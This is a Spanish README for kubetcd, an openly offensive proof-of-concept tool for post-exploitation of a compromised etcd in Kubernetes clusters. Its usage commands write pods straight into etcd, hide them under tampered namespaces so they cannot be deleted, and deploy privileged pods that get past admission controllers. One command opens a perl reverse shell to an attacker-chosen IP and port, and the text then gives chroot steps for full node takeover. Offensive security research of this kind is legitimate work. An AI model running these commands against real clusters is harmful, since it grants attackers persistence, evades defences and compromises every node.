
Post-explotación de un etcd comprometido, obtener persistencia y shell remoto en los nodos.
Wrapper de https://github.com/jpbetz/auger.
Automatiza el despliegue de pods escribiendo directamente en etcd. Incluye múltiples funciones para la post-explotación de etcds comprometidos.
[!WARNING]
Esto es una PoC, no lo uses en un entorno de producción. Escribir directamente en etcd puede provocar inconsistencias o datos corruptos, lo que puede hacer que la lógica dekube-apiserverno pueda recuperar o manipular datos de etcd. Los entornos de prueba con múltiples nodos se pueden desplegar con KIND
El repositorio principal, auger, proporciona las principales funciones para serializar y deserializar entradas protobuf en etcd. Kubetcd es una PoC que envuelve estas funciones para aproximar etcdctl al cliente habitual kubectl. En un escenario con un etcd comprometido, kubetcd intentaría usar pods manipulados y privilegiados para obtener persistencia y acceso privilegiado a cualquier/todos los host(s) del clúster. Ten en cuenta que kubetcd actualmente solo admite operaciones con pods.
Kubetcd toma los certificados y claves para autenticarse contra el servicio etcd de las siguientes rutas predeterminadas:
Además, el endpoint predeterminado está configurado como 127.0.0.1:2379
Todos los valores predeterminados anteriores se pueden cambiar mediante parámetros.
Además, etcdctl, el cliente para etcd, debe estar instalado.
sudo apt install etcd-client
Clona y compila:
git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .
Puede que experimentes el siguiente error:
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)
Si es así, compila kubetcd con Golang 1.19.
Consulta https://github.com/jpbetz/auger para las funciones principales de auger, que siguen disponibles. Este README solo detallará las nuevas funciones añadidas del wrapper:
./kubetcd -h
./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>
templateName debe ser un pod en ejecución en el namespace predeterminado:
./kubetcd create pod <name> -t <templateName>
Puedes sobrescribir un pod en ejecución simplemente estableciendo los mismos valores de name y templateName.
./kubetcd create pod <name> -t <templateName> --image <image>
./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"
ETCD guarda los nuevos pods en /registry/pods/<namespace>/<name>, pero los campos namespace y name podrían ser manipulados.
Debido a esto, estos pods se pueden listar con kubectl, pero no se pueden eliminar.
./kubetcd create pod <name> -t <templateName> -p <randomentry>
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace
Despliega la carga de trabajo en cualquier nodo a voluntad:
./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>
Despliega pods privilegiados en namespaces restringidos. Esto evadiría los AdmissionControllers integrados como PSPs, PSAs o cualquier otra política basada en políticas personalizadas como OPA Gatekeer o Kyverno:
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P
El flag -P establecerá cualquier pod como privileged y compartirá los namespaces de network, PID e IPC con el nodo subyacente.
Despliega pods privilegiados en namespaces restringidos y obtén una shell remota:
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>
Esto iniciará una shell inversa de perl, que está presente en varias imágenes por defecto.
Una vez que tengas la shell inversa, cambia el sistema de archivos raíz con chroot /host para obtener acceso completo al nodo.
corev1